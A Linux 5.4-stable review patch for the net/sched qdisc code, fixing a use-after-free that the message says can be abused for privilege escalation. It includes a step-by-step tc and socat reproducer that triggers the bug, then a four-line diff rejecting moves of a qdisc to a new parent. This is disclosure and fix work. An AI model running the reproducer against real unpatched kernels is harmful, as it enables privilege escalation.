5.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jamal Hadi Salim jhs@mojatatu.com
[ Upstream commit bc50835e83f60f56e9bec2b392fb5544f250fb6f ]
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann nnamrec@gmail.com Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Jamal Hadi Salim jhs@mojatatu.com Reviewed-by: Simon Horman horms@kernel.org Link: https://patch.msgid.link/20250116013713.900000-1-kuba@kernel.org Signed-off-by: Jakub Kicinski kuba@kernel.org Signed-off-by: Sasha Levin sashal@kernel.org --- net/sched/sch_api.c | 4 ++++ 1 file changed, 4 insertions(+)
diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c index b8dc03a7487e3..178044a845dfd 100644 --- a/net/sched/sch_api.c +++ b/net/sched/sch_api.c @@ -1593,6 +1593,10 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n, q = qdisc_lookup(dev, tcm->tcm_handle); if (!q) goto create_n_graft; + if (q->parent != tcm->tcm_parent) { + NL_SET_ERR_MSG(extack, "Cannot move an existing qdisc to a different parent"); + return -EINVAL; + } if (n->nlmsg_flags & NLM_F_EXCL) { NL_SET_ERR_MSG(extack, "Exclusivity flag on, cannot override"); return -EEXIST;